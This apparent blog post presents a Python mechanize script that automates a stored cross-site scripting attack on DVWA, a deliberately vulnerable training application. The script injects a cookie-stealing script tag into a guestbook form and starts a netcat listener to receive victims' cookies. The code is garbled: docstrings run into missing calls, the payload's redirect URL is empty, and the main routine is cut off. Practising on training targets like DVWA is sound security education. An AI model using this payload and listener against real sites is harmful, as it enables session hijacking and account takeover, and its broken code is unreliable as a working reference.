Stored Cross-site Scripting (XSS) Cookie Stealing with Mechanize and DVWA

Damn Vulnerable Web Application (DVWA) is an intentionally vulnerable web application used for training. DVWA is also one of the web applications on the OWASP Broken Web Applications Virtual Machine. This post is nothing more than a script that automates the exploitation of the stored cross site scripting vulnerability using Python’s mechanize module for browser automation. The script injects a cookie-stealing payload into a vulnerable form, and sets up a listener to catch the cookie when a victim visits the page.

#Tested on Windows against DVWA within the OWASP Broken Web App VM Version 1.2

import mechanize
import sys
import os

uname = "admin"
pword = "admin"
rhost = sys.argv[1]
br = mechanize.Browser()

def loginAndReset(username,password):
    """Logs into DVWA and sets security to low""""http://" + rhost + "/dvwa/login.php") 
    br.form['username']= username 
    br.form['password']= password 
    br.submit() #submit the form
    br.select_form(nr=0) #selects the form
    br.form['security'] = ["low"] 
def storedXss():
    """Injects the xss payload into the form""""http://" + rhost + "/dvwa/vulnerabilities/xss_s")
    br.form['txtName']= "Jake"
    br.form['mtxMessage']= "Really cool stuff! Keep up the good work!<script>document.location=''+document.cookie;</script>"
def listener():
    """Starts a listener to catch the cookie"""
    os.system(r'start cmd.exe /k "nc -nlvp 4444"')
def main():
    loginAndReset(uname, pword)
if __name__ == '__main__':

Leave a Reply

Your email address will not be published. Required fields are marked *